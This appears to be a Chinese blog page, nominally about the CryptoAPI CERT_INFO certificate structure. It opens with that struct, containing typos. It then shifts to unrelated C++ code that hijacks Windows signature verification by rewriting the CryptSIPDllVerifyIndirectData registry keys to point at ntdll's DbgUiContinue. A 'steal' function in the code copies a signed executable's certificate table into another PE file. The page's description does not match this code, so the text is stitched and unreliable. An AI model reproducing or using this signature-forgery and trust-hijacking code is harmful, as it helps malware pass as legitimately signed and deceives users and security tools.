[VC++]CryptoAPI中CERT_INFO

本文深入探讨了证书信息结构,包括版本、序列号、签名算法、有效期、颁发者与拥有者信息、公钥等关键元素,并详细解释了各组件的作用与意义。
typedef struct _CERT_ INFO {
	DWORD dwVersion;        //证书版本
	CRYPT_INTEGER_BLOB SerialNumber;       //序列号
	CRYPT_ALGORITHM_IDENTIFIER SignatureAlgorithm;     //签名算法
	CERT_NAME_BLOB Issuer;   //颁发者
	FILETIME NotBefore;   //有效期(起)
	FILETIME NotAflee;    //有效期(止)
	CERT_NAME_BLOB Subject;   //拥有者
	CERT_PUBLIC_KEY_INFO SubiectPublicKevInfo;  //用户公钥
	CRYPT_BIT_BLOB IssuerUniqueId;    //颁发者唯一标识
	CRYPT_BIT_BLOB SubjectUniqueId;    //拥有者唯一标识
	DWORD cExtension;    //扩展项数
	PCERT_EXTENSION rgExtension;    //扩展
	} CERT_INFO, *PCERT_INFO;

#pragma once #include <Windows.h> #include <cstdint> #include <fstream> #include <iostream> #include <string> #include <vector> // 定义WIN_CERTIFICATE结构,用于表示Windows证书 struct WIN_CERTIFICATE { uint32_t dwLength; uint16_t wRevision; uint16_t wCertificateType; }; // 设置注册表值的函数,用于指定路径和函数名到注册表中 bool SetRegistryValues(HKEY rootKey, LPCWSTR subkey, LPCWSTR dllPath, LPCWSTR funcName, REGSAM accessFlag) { HKEY hKey; LONG result = RegOpenKeyExW(rootKey, subkey, 0, KEY_SET_VALUE | accessFlag, &hKey); if (result != ERROR_SUCCESS) { std::wcerr << L"Failed to open key: " << subkey << L" (Error " << result << L")" << std::endl; return false; } result = RegSetValueExW(hKey, L"Dll", 0, REG_SZ, reinterpret_cast<const BYTE*>(dllPath), (DWORD)((wcslen(dllPath) + 1) * sizeof(wchar_t))); if (result != ERROR_SUCCESS) { std::wcerr << L"Failed to set 'Dll' value. Error: " << result << std::endl; RegCloseKey(hKey); return false; } result = RegSetValueExW(hKey, L"FuncName", 0, REG_SZ, reinterpret_cast<const BYTE*>(funcName), (DWORD)((wcslen(funcName) + 1) * sizeof(wchar_t))); if (result != ERROR_SUCCESS) { std::wcerr << L"Failed to set 'FuncName' value. Error: " << result << std::endl; RegCloseKey(hKey); return false; } RegCloseKey(hKey); // std::wcout << L"Successfully updated: " << subkey << std::endl; return true; } // 钩取注册表的函数,设置指定的DLL路径和函数名到64位和32位注册表项中 bool hook_registry() { LPCWSTR dllPath = L"C:\\Windows\\System32\\ntdll.dll"; LPCWSTR funcName = L"DbgUiContinue"; // 64-bit registry LPCWSTR subkey64 = L"SOFTWARE\\Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllVerifyIndirectData\\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}"; // 32-bit registry LPCWSTR subkey32 = L"SOFTWARE\\WOW6432Node\\Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllVerifyIndirectData\\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}"; if (!SetRegistryValues(HKEY_LOCAL_MACHINE, subkey64, dllPath, funcName, KEY_WOW64_64KEY)) return false; if (!SetRegistryValues(HKEY_LOCAL_MACHINE, subkey32, dllPath, funcName, KEY_WOW64_32KEY)) return false; } // 将一个64位数值对齐到8字节边界 static inline uint64_t align8(uint64_t x) { return (x + 7) & ~7ULL; } // 从源PE文件中读取数字签名,并将其写入目标PE文件中 bool steal(const std::string& src_path, const std::string& dst_path) { // 1) 打开源文件并读取DOS和PE头 std::ifstream src(src_path, std::ios::binary); if (!src) return false; IMAGE_DOS_HEADER dos; src.read(reinterpret_cast<char*>(&dos), sizeof(dos)); if (dos.e_magic != 0x5A4D) return false; // 检查是否为MZ头 src.seekg(dos.e_lfanew, std::ios::beg); IMAGE_NT_HEADERS64 nt; src.read(reinterpret_cast<char*>(&nt), sizeof(nt)); if (nt.Signature != 0x00004550) return false; // 检查是否为PE头 auto certDir = nt.OptionalHeader.DataDirectory[4]; if (certDir.VirtualAddress == 0 || certDir.Size == 0) { // 没有证书表 return false; } // 2) 读取整个证书表到一个缓冲区 std::vector<char> blob(certDir.Size); src.seekg(certDir.VirtualAddress, std::ios::beg); src.read(blob.data(), blob.size()); src.close(); // 3) 将证书表写入目标PE文件,并确保8字节对齐 std::fstream dst(dst_path, std::ios::binary | std::ios::in | std::ios::out); if (!dst) return false; dst.seekg(0, std::ios::end); uint64_t eof = dst.tellg(); uint64_t writeOff = align8(eof); if (writeOff > eof) { std::vector<char> pad(writeOff - eof, 0); dst.write(pad.data(), (std::streamsize)pad.size()); } dst.write(blob.data(), (std::streamsize)blob.size()); // 4) 修改目标PE文件中的DataDirectory[4]以指向新的证书表 IMAGE_DOS_HEADER dos2; dst.seekg(0, std::ios::beg); dst.read(reinterpret_cast<char*>(&dos2), sizeof(dos2)); // 计算DataDirectory数组的基地址 uint32_t ddBase = dos2.e_lfanew + 4 // Signature + sizeof(IMAGE_FILE_HEADER) + offsetof(IMAGE_OPTIONAL_HEADER64, DataDirectory); // entry #4 (零基)是安全目录 uint32_t dd4 = ddBase + 4 * sizeof(IMAGE_DATA_DIRECTORY); // 写入VirtualAddress(文件偏移)和Size dst.seekp(dd4 + offsetof(IMAGE_DATA_DIRECTORY, VirtualAddress), std::ios::beg); uint32_t off32 = static_cast<uint32_t>(writeOff); dst.write(reinterpret_cast<const char*>(&off32), sizeof(off32)); uint32_t size32 = certDir.Size; dst.write(reinterpret_cast<const char*>(&size32), sizeof(size32)); dst.close(); return true; }
09-20
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值